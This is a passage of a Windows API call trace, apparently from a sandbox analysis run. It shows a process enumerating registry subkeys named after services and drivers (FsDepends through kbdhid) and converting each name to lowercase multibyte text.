[0223.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1a48, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0223.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0223.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0223.782] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0223.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0223.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0223.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0223.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0223.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1a48, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0223.783] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0223.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0223.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0223.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0223.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0223.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0223.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0223.784] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0223.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0223.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0223.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0223.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0223.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0223.785] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0223.786] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0223.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1850, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0223.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0223.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0223.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0223.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0223.787] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0223.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0223.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0223.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0223.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0223.788] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, 